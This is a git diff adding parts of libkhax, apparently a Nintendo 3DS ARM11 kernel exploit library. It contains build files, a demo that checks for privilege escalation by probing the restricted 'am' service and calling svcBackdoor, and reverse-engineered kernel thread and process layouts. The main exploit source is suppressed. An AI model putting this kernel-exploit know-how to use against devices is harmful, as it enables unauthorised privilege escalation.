cpu.o cpu_threaded.o: CFLAGS += -Wno-unused-variable -Wno-unused-label
|
||||||
|
$(OUTPUT).3dsx : $(OUTPUT).elf
|
||||||
|
$(OUTPUT).elf : $(OFILES)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# you need a rule like this for each extension you use as binary data
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.bin.o : %.bin
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(bin2o)
|
||||||
|
|
||||||
|
# WARNING: This is not the right way to do this! TODO: Do it right!
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.vsh.o : %.vsh
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@python $(AEMSTRO)/aemstro_as.py $< ../$(notdir $<).shbin
|
||||||
|
@bin2s ../$(notdir $<).shbin | $(PREFIX)as -o $@
|
||||||
|
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > `(echo $(notdir $<).shbin | tr . _)`.h
|
||||||
|
@echo "extern const u8" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> `(echo $(notdir $<).shbin | tr . _)`.h
|
||||||
|
@echo "extern const u32" `(echo $(notdir $<).shbin | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> `(echo $(notdir $<).shbin | tr . _)`.h
|
||||||
|
@rm ../$(notdir $<).shbin
|
||||||
|
|
||||||
|
-include $(DEPENDS)
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------------
|
||||||
|
endif
|
||||||
|
#---------------------------------------------------------------------------------------
|
22
ninjhax/source/libkhax/demo/ctrklib.sln
Normal file
22
ninjhax/source/libkhax/demo/ctrklib.sln
Normal file
@ -0,0 +1,22 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio 2013
|
||||||
|
VisualStudioVersion = 12.0.31101.0
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ctrklib", "ctrklib.vcxproj", "{80EE495D-0A84-4089-A93E-2B9E2BC38F94}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|Win32 = Debug|Win32
|
||||||
|
Release|Win32 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||||
|
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Debug|Win32.Build.0 = Debug|Win32
|
||||||
|
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{80EE495D-0A84-4089-A93E-2B9E2BC38F94}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
82
ninjhax/source/libkhax/demo/ctrklib.vcxproj
Normal file
82
ninjhax/source/libkhax/demo/ctrklib.vcxproj
Normal file
@ -0,0 +1,82 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{80EE495D-0A84-4089-A93E-2B9E2BC38F94}</ProjectGuid>
|
||||||
|
<RootNamespace>ctrklib</RootNamespace>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v120</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup />
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<AdditionalIncludeDirectories>C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<SDLCheck>true</SDLCheck>
|
||||||
|
<AdditionalIncludeDirectories>C:\3DS\devkitPro\libctru\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="../khaxinit.cpp" />
|
||||||
|
<ClCompile Include="main.c" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Makefile" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="../khax.h" />
|
||||||
|
<ClInclude Include="../khaxinternal.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
36
ninjhax/source/libkhax/demo/ctrklib.vcxproj.filters
Normal file
36
ninjhax/source/libkhax/demo/ctrklib.vcxproj.filters
Normal file
@ -0,0 +1,36 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup>
|
||||||
|
<Filter Include="Source Files">
|
||||||
|
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||||
|
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Header Files">
|
||||||
|
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||||
|
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||||
|
</Filter>
|
||||||
|
<Filter Include="Resource Files">
|
||||||
|
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||||
|
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||||
|
</Filter>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="main.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="../khaxinit.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Makefile" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="../khaxinternal.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="../khax.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
139
ninjhax/source/libkhax/demo/main.c
Normal file
139
ninjhax/source/libkhax/demo/main.c
Normal file
@ -0,0 +1,139 @@
|
|||||||
|
#ifndef LIBKHAX_AS_LIB
|
||||||
|
|
||||||
|
#include <3ds.h>
|
||||||
|
#include <3ds/services/am.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <malloc.h>
|
||||||
|
#include "../khax.h"
|
||||||
|
|
||||||
|
#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
|
||||||
|
|
||||||
|
s32 g_backdoorResult = -1;
|
||||||
|
|
||||||
|
s32 dump_chunk_wrapper()
|
||||||
|
{
|
||||||
|
__asm__ volatile("cpsid aif");
|
||||||
|
g_backdoorResult = 0x6666abcd;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Test access to "am" service, which we shouldn't have access to, unless khax succeeds.
|
||||||
|
Result test_am_access_inner(char *productCode)
|
||||||
|
{
|
||||||
|
// Title IDs of "mset" in the six regions
|
||||||
|
static const u64 s_msetTitleIDs[] =
|
||||||
|
{
|
||||||
|
0x0004001000020000, 0x0004001000021000, 0x0004001000022000,
|
||||||
|
0x0004001000026000, 0x0004001000027000, 0x0004001000028000
|
||||||
|
};
|
||||||
|
Result result;
|
||||||
|
char productCodeTemp[16 + 1];
|
||||||
|
unsigned x;
|
||||||
|
|
||||||
|
// Initialize "am"
|
||||||
|
result = amInit();
|
||||||
|
if (result != 0)
|
||||||
|
{
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Check for the existence of the title IDs.
|
||||||
|
for (x = 0; x < KHAX_lengthof(s_msetTitleIDs); ++x)
|
||||||
|
{
|
||||||
|
result = AM_GetTitleProductCode(0, s_msetTitleIDs[x], productCodeTemp);
|
||||||
|
if (result == 0)
|
||||||
|
{
|
||||||
|
memcpy(productCode, productCodeTemp, sizeof(productCodeTemp));
|
||||||
|
amExit();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
amExit();
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Self-contained test.
|
||||||
|
void test_am_access_outer(int testNumber)
|
||||||
|
{
|
||||||
|
char productCode[16 + 1];
|
||||||
|
Result result = test_am_access_inner(productCode);
|
||||||
|
if (result != 0)
|
||||||
|
{
|
||||||
|
productCode[0] = '\0';
|
||||||
|
}
|
||||||
|
printf("amtest%d:%08lx %s\n", testNumber, result, productCode);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
// Initialize services
|
||||||
|
/* srvInit(); // mandatory
|
||||||
|
aptInit(); // mandatory
|
||||||
|
hidInit(NULL); // input (buttons, screen)*/
|
||||||
|
gfxInitDefault(); // graphics
|
||||||
|
/* fsInit();
|
||||||
|
sdmcInit();
|
||||||
|
hbInit();
|
||||||
|
qtmInit();*/
|
||||||
|
|
||||||
|
consoleInit(GFX_BOTTOM, NULL);
|
||||||
|
|
||||||
|
consoleClear();
|
||||||
|
|
||||||
|
test_am_access_outer(1); // test before libkhax
|
||||||
|
|
||||||
|
Result result = khaxInit();
|
||||||
|
printf("khaxInit returned %08lx\n", result);
|
||||||
|
|
||||||
|
printf("backdoor returned %08lx\n", (svcBackdoor(dump_chunk_wrapper), g_backdoorResult));
|
||||||
|
|
||||||
|
test_am_access_outer(2); // test after libkhax
|
||||||
|
|
||||||
|
printf("khax demo main finished\n");
|
||||||
|
printf("Press X to exit\n");
|
||||||
|
|
||||||
|
khaxExit();
|
||||||
|
|
||||||
|
while (aptMainLoop())
|
||||||
|
{
|
||||||
|
// Wait next screen refresh
|
||||||
|
gspWaitForVBlank();
|
||||||
|
|
||||||
|
// Read which buttons are currently pressed
|
||||||
|
hidScanInput();
|
||||||
|
u32 kDown = hidKeysDown();
|
||||||
|
(void) kDown;
|
||||||
|
u32 kHeld = hidKeysHeld();
|
||||||
|
(void) kHeld;
|
||||||
|
|
||||||
|
// If START is pressed, break loop and quit
|
||||||
|
if (kDown & KEY_X){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
//consoleClear();
|
||||||
|
|
||||||
|
// Flush and swap framebuffers
|
||||||
|
gfxFlushBuffers();
|
||||||
|
gfxSwapBuffers();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Exit services
|
||||||
|
/* qtmExit();
|
||||||
|
hbExit();
|
||||||
|
sdmcExit();
|
||||||
|
fsExit();*/
|
||||||
|
gfxExit();
|
||||||
|
/* hidExit();
|
||||||
|
aptExit();
|
||||||
|
srvExit();*/
|
||||||
|
|
||||||
|
// Return to hbmenu
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // LIBKHAX_AS_LIB
|
16
ninjhax/source/libkhax/khax.h
Normal file
16
ninjhax/source/libkhax/khax.h
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <3ds.h>
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
extern "C" {
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Initialize and do the initial pwning of the ARM11 kernel.
|
||||||
|
Result khaxInit();
|
||||||
|
// Shut down libkhax
|
||||||
|
Result khaxExit();
|
||||||
|
|
||||||
|
#ifdef __cplusplus
|
||||||
|
}
|
||||||
|
#endif
|
1140
ninjhax/source/libkhax/khaxinit.cpp
Normal file
1140
ninjhax/source/libkhax/khaxinit.cpp
Normal file
File diff suppressed because it is too large
Load Diff
337
ninjhax/source/libkhax/khaxinternal.h
Normal file
337
ninjhax/source/libkhax/khaxinternal.h
Normal file
@ -0,0 +1,337 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifdef KHAX_DEBUG
|
||||||
|
#define KHAX_printf(...) printf(__VA_ARGS__), gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()
|
||||||
|
#else
|
||||||
|
#define KHAX_printf(...) gspWaitForVBlank(), gfxFlushBuffers(), gfxSwapBuffers()
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Shut up IntelliSense warnings when using MSVC as an IDE, even though MSVC will obviously never
|
||||||
|
// actually compile this program.
|
||||||
|
#ifdef _MSC_VER
|
||||||
|
#undef ALIGN
|
||||||
|
#define ALIGN(x) __declspec(align(x))
|
||||||
|
#if _MSC_VER < 1900
|
||||||
|
#define alignof __alignof
|
||||||
|
#endif
|
||||||
|
#define KHAX_ATTRIBUTE(...)
|
||||||
|
#else
|
||||||
|
#define KHAX_ATTRIBUTE(...) __VA_ARGS__
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define KHAX_lengthof(...) (sizeof(__VA_ARGS__) / sizeof((__VA_ARGS__)[0]))
|
||||||
|
#define KHAX_UNUSED(...) static_cast<void>(__VA_ARGS__)
|
||||||
|
|
||||||
|
//------------------------------------------------------------------------------------------------
|
||||||
|
namespace KHAX
|
||||||
|
{
|
||||||
|
//------------------------------------------------------------------------------------------------
|
||||||
|
// This code uses offsetof illegally (i.e. on polymorphic classes).
|
||||||
|
#pragma GCC diagnostic push
|
||||||
|
#pragma GCC diagnostic ignored "-Winvalid-offsetof"
|
||||||
|
|
||||||
|
//------------------------------------------------------------------------------------------------
|
||||||
|
// General linked list node kernel object.
|
||||||
|
struct KLinkedListNode
|
||||||
|
{
|
||||||
|
KLinkedListNode *next;
|
||||||
|
KLinkedListNode *prev;
|
||||||
|
void *data;
|
||||||
|
};
|
||||||
|
static_assert(sizeof(KLinkedListNode) == 0x00C, "KLinkedListNode isn't the expected size.");
|
||||||
|
|
||||||
|
//------------------------------------------------------------------------------------------------
|
||||||
|
// Base class of reference-counted kernel objects.
|
||||||
|
class KAutoObject
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
u32 m_refCount; // +004
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual ~KAutoObject() {}
|
||||||
|
};
|
||||||
|
static_assert(sizeof(KAutoObject) == 0x008, "KAutoObject isn't the expected size.");
|
||||||
|
static_assert(offsetof(KAutoObject, m_refCount) == 0x004, "KAutoObject isn't the expected layout.");
|
||||||
|
|
||||||
|
//------------------------------------------------------------------------------------------------
|
||||||
|
// Base class of synchronizable objects.
|
||||||
|
class KSynchronizationObject : public KAutoObject
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
u32 m_threadSyncCount; // +008
|
||||||
|
KLinkedListNode *m_threadSyncFirst; // +00C
|
||||||
|
KLinkedListNode *m_threadSyncLast; // +010
|
||||||
|
};
|
||||||
|
static_assert(sizeof(KSynchronizationObject) == 0x014, "KSynchronizationObject isn't the expected size.");
|
||||||
|
static_assert(offsetof(KSynchronizationObject, m_threadSyncCount) == 0x008,
|
||||||
|
"KSynchronizationObject isn't the expected layout.");
|
||||||
|
|
||||||
|
//------------------------------------------------------------------------------------------------
|
||||||
|
struct KDebugThread;
|
||||||
|
struct KThreadLocalPage;
|
||||||
|
class KCodeSet;
|
||||||
|
|
||||||
|
//------------------------------------------------------------------------------------------------
|
||||||
|
// Unofficial name
|
||||||
|
typedef u8 KSVCACL[0x80 / 8];
|
||||||
|
|
||||||
|
//------------------------------------------------------------------------------------------------
|
||||||
|
// ARM VFP register
|
||||||
|
union KHAX_ATTRIBUTE(__attribute__((__aligned__(4))) __attribute__((__packed__))) VFPRegister
|
||||||
|
{
|
||||||
|
float m_single[2];
|
||||||
|
double m_double;
|
||||||
|
};
|
||||||
|
static_assert(alignof(VFPRegister) == 0x004,
|
||||||
|
"VFPRegister isn't the expected alignment.");
|
||||||
|
static_assert(sizeof(VFPRegister) == 0x008,
|
||||||
|
"VFPRegister isn't the expected size.");
|
||||||
|
|
||||||
|
//------------------------------------------------------------------------------------------------
|
||||||
|
// SVC-mode register save area.
|
||||||
|
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
|
||||||
|
struct SVCRegisterState
|
||||||
|
{
|
||||||
|
u32 m_r4; // +000
|
||||||
|
u32 m_r5; // +004
|
||||||
|
u32 m_r6; // +008
|
||||||
|
u32 m_r7; // +00C
|
||||||
|
u32 m_r8; // +010
|
||||||
|
u32 m_r9; // +014
|
||||||
|
u32 m_sl; // +018
|
||||||
|
u32 m_fp; // +01C
|
||||||
|
u32 m_sp; // +020
|
||||||
|
u32 m_lr; // +024
|
||||||
|
};
|
||||||
|
static_assert(sizeof(SVCRegisterState) == 0x028,
|
||||||
|
"SVCRegisterState isn't the expected size.");
|
||||||
|
|
||||||
|
//------------------------------------------------------------------------------------------------
|
||||||
|
// SVC-mode thread state structure. This is the last part of the per-
|
||||||
|
// thread page allocated in 0xFF4XX000.
|
||||||
|
// http://3dbrew.org/wiki/Memory_layout#0xFF4XX000
|
||||||
|
struct SVCThreadArea
|
||||||
|
{
|
||||||
|
KSVCACL m_svcAccessControl; // +000
|
||||||
|
u32 m_unknown010; // +010
|
||||||
|
u32 m_unknown014; // +014
|
||||||
|
SVCRegisterState m_svcRegisterState; // +018
|
||||||
|
VFPRegister m_vfpRegisters[16]; // +040
|
||||||
|
u32 m_unknown0C4; // +0C0
|
||||||
|
u32 m_fpexc; // +0C4
|
||||||
|
};
|
||||||
|
static_assert(offsetof(SVCThreadArea, m_svcRegisterState) == 0x018,
|
||||||
|
"ThreadSVCArea isn't the expected layout.");
|
||||||
|
static_assert(sizeof(SVCThreadArea) == 0x0C8,
|
||||||
|
"ThreadSVCArea isn't the expected size.");
|
||||||
|
|
||||||
|
//------------------------------------------------------------------------------------------------
|
||||||
|
// Kernel's internal structure of a thread object.
|
||||||
|
class KThread : public KSynchronizationObject
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
u32 m_unknown014; // +014
|
||||||
|
u32 m_unknown018; // +018
|
||||||
|
u32 m_unknown01C; // +01C
|
||||||
|
u32 m_unknown020; // +020
|
||||||
|
u32 m_unknown024; // +024
|
||||||
|
u32 m_unknown028; // +028
|
||||||
|
u32 m_unknown02C; // +02C
|
||||||
|
u32 m_unknown030; // +030
|
||||||
|
u32 m_unknown034; // +034
|
||||||
|
KDebugThread *m_debugThread; // +038
|
||||||
|
s32 m_threadPriority; // +03C
|
||||||
|
void *m_waitingOnObject; // +040
|
||||||
|
u32 m_unknown044; // +044
|
||||||
|
KThread **m_schedulerUnknown048; // +048
|
||||||
|
void *m_arbitrationAddress; // +04C
|
||||||
|
u32 m_unknown050; // +050
|
||||||
|
u32 m_unknown054; // +054
|
||||||
|
u32 m_unknown058; // +058
|
||||||
|
KLinkedListNode *m_waitingOnList; // +05C
|
||||||
|
u32 m_unknownListCount; // +060
|
||||||
|
KLinkedListNode *m_unknownListHead; // +064
|
||||||
|
KLinkedListNode *m_unknownListTail; // +068
|
||||||
|
s32 m_threadPriority2; // +06C
|
||||||
|
s32 m_creatingProcessor; // +070
|
||||||
|
u32 m_unknown074; // +074
|
||||||
|
u32 m_unknown078; // +078
|
||||||
|
u16 m_unknown07C; // +07C
|
||||||
|
u8 m_threadType; // +07E
|
||||||
|
u8 m_padding07F; // +07F
|
||||||
|
void *m_process; // +080
|
||||||
|
u32 m_threadID; // +084
|
||||||
|
SVCRegisterState *m_svcRegisterState; // +088
|
||||||
|
void *m_svcPageEnd; // +08C
|
||||||
|
s32 m_idealProcessor; // +090
|
||||||
|
void *m_tlsUserMode; // +094
|
||||||
|
void *m_tlsKernelMode; // +098
|
||||||
|
u32 m_unknown09C; // +09C
|
||||||
|
KThread *m_prev; // +0A0
|
||||||
|
KThread *m_next; // +0A4
|
||||||
|
KThread **m_temporaryLinkedList; // +0A8
|
||||||
|
u32 m_unknown0AC; // +0B0
|
||||||
|
};
|
||||||
|
static_assert(sizeof(KThread) == 0x0B0,
|
||||||
|
"KThread isn't the expected size.");
|
||||||
|
static_assert(offsetof(KThread, m_svcRegisterState) == 0x088,
|
||||||
|
"KThread isn't the expected layout.");
|
||||||
|
|
||||||
|
//------------------------------------------------------------------------------------------------
|
||||||
|
// Kernel's internal structure of a process object.
|
||||||
|
// Version 1.0.0(?) - 7.2.0
|
||||||
|
class KProcess_1_0_0_Old : public KSynchronizationObject
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
u32 m_unknown014; // +014
|
||||||
|
u32 m_unknown018; // +018
|
||||||
|
KThread *volatile m_interactingThread; // +01C
|
||||||
|
u16 m_unknown020; // +020
|
||||||
|
u16 m_unknown022; // +022
|
||||||
|
u32 m_unknown024; // +024
|
||||||
|
u32 m_unknown028; // +028
|
||||||
|
u32 m_memoryBlockCount; // +02C
|
||||||
|
KLinkedListNode *m_memoryBlockFirst; // +030
|
||||||
|
KLinkedListNode *m_memoryBlockLast; // +034
|
||||||
|
u32 m_unknown038; // +038
|
||||||
|
u32 m_unknown03C; // +03C
|
||||||
|
void *m_translationTableBase; // +040
|
||||||
|
u8 m_contextID; // +044
|
||||||
|
u32 m_unknown048; // +048
|
||||||
|
u32 m_unknown04C; // +04C
|
||||||
|
u32 m_mmuTableSize; // +050
|
||||||
|
void *m_mmuTableAddress; // +054
|
||||||
|
u32 m_threadContextPagesSize; // +058
|
||||||
|
u32 m_threadLocalPageCount; // +05C
|
||||||
|
KLinkedListNode *m_threadLocalPageFirst; // +060
|
||||||
|
KLinkedListNode *m_threadLocalPageLast; // +064
|
||||||
|
u32 m_unknown068; // +068
|
||||||
|
s32 m_idealProcessor; // +06C
|
||||||
|
u32 m_unknown070; // +070
|
||||||
|
void *m_resourceLimits; // +074
|
||||||
|
u8 m_unknown078; // +078
|
||||||
|
u8 m_affinityMask; // +079
|
||||||
|
u32 m_threadCount; // +07C
|
||||||
|
KSVCACL m_svcAccessControl; // +080
|
||||||
|
u32 m_interruptFlags[0x80 / 32]; // +090
|
||||||
|
u32 m_kernelFlags; // +0A0
|
||||||
|
u16 m_handleTableSize; // +0A4
|
||||||
|
u16 m_kernelReleaseVersion; // +0A6
|
||||||
|
KCodeSet *m_codeSet; // +0A8
|
||||||
|
u32 m_processID; // +0AC
|
||||||
|
u32 m_kernelFlags2; // +0B0
|
||||||
|
u32 m_unknown0B4; // +0B4
|
||||||
|
KThread *m_mainThread; // +0B8
|
||||||
|
//...more...
|
||||||
|
};
|
||||||
|
static_assert(offsetof(KProcess_1_0_0_Old, m_svcAccessControl) == 0x080,
|
||||||
|
"KProcess_1_0_0_Old isn't the expected layout.");
|
||||||
|
|
||||||
|
//------------------------------------------------------------------------------------------------
|
||||||
|
// Kernel's internal structure of a process object.
|
||||||
|
// Old 3DS Version 8.0.0 - 9.5.0...
|
||||||
|
class KProcess_8_0_0_Old : public KSynchronizationObject
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
u32 m_unknown014; // +014
|
||||||
|
u32 m_unknown018; // +018
|
||||||
|
KThread *volatile m_interactingThread; // +01C
|
||||||
|
u16 m_unknown020; // +020
|
||||||
|
u16 m_unknown022; // +022
|
||||||
|
u32 m_unknown024; // +024
|
||||||
|
u32 m_unknown028; // +028
|
||||||
|
u32 m_memoryBlockCount; // +02C
|
||||||
|
KLinkedListNode *m_memoryBlockFirst; // +030
|
||||||
|
KLinkedListNode *m_memoryBlockLast; // +034
|
||||||
|
u32 m_unknown038; // +038
|
||||||
|
u32 m_unknown03C; // +03C
|
||||||
|
void *m_translationTableBase; // +040
|
||||||
|
u8 m_contextID; // +044
|
||||||
|
u32 m_unknown048; // +048
|
||||||
|
void *m_userVirtualMemoryEnd; // +04C
|
||||||
|
void *m_userLinearVirtualBase; // +050
|
||||||
|
u32 m_unknown054; // +054
|
||||||
|
u32 m_mmuTableSize; // +058
|
||||||
|
void *m_mmuTableAddress; // +05C
|
||||||
|
u32 m_threadContextPagesSize; // +060
|
||||||
|
u32 m_threadLocalPageCount; // +064
|
||||||
|
KLinkedListNode *m_threadLocalPageFirst; // +068
|
||||||
|
KLinkedListNode *m_threadLocalPageLast; // +06C
|
||||||
|
u32 m_unknown070; // +070
|
||||||
|
s32 m_idealProcessor; // +074
|
||||||
|
u32 m_unknown078; // +078
|
||||||
|
void *m_resourceLimits; // +07C
|
||||||
|
u32 m_unknown080; // +080
|
||||||
|
u32 m_threadCount; // +084
|
||||||
|
u8 m_svcAccessControl[0x80 / 8]; // +088
|
||||||
|
u32 m_interruptFlags[0x80 / 32]; // +098
|
||||||
|
u32 m_kernelFlags; // +0A8
|
||||||
|
u16 m_handleTableSize; // +0AC
|
||||||
|
u16 m_kernelReleaseVersion; // +0AE
|
||||||
|
KCodeSet *m_codeSet; // +0B0
|
||||||
|
u32 m_processID; // +0B4
|
||||||
|
u32 m_unknown0B8; // +0B8
|
||||||
|
u32 m_unknown0BC; // +0BC
|
||||||
|
KThread *m_mainThread; // +0C0
|
||||||
|
//...more...
|
||||||
|
};
|
||||||
|
static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088,
|
||||||
|
"KProcess_8_0_0_Old isn't the expected layout.");
|
||||||
|
|
||||||
|
//------------------------------------------------------------------------------------------------
|
||||||
|
// Kernel's internal structure of a process object.
|
||||||
|
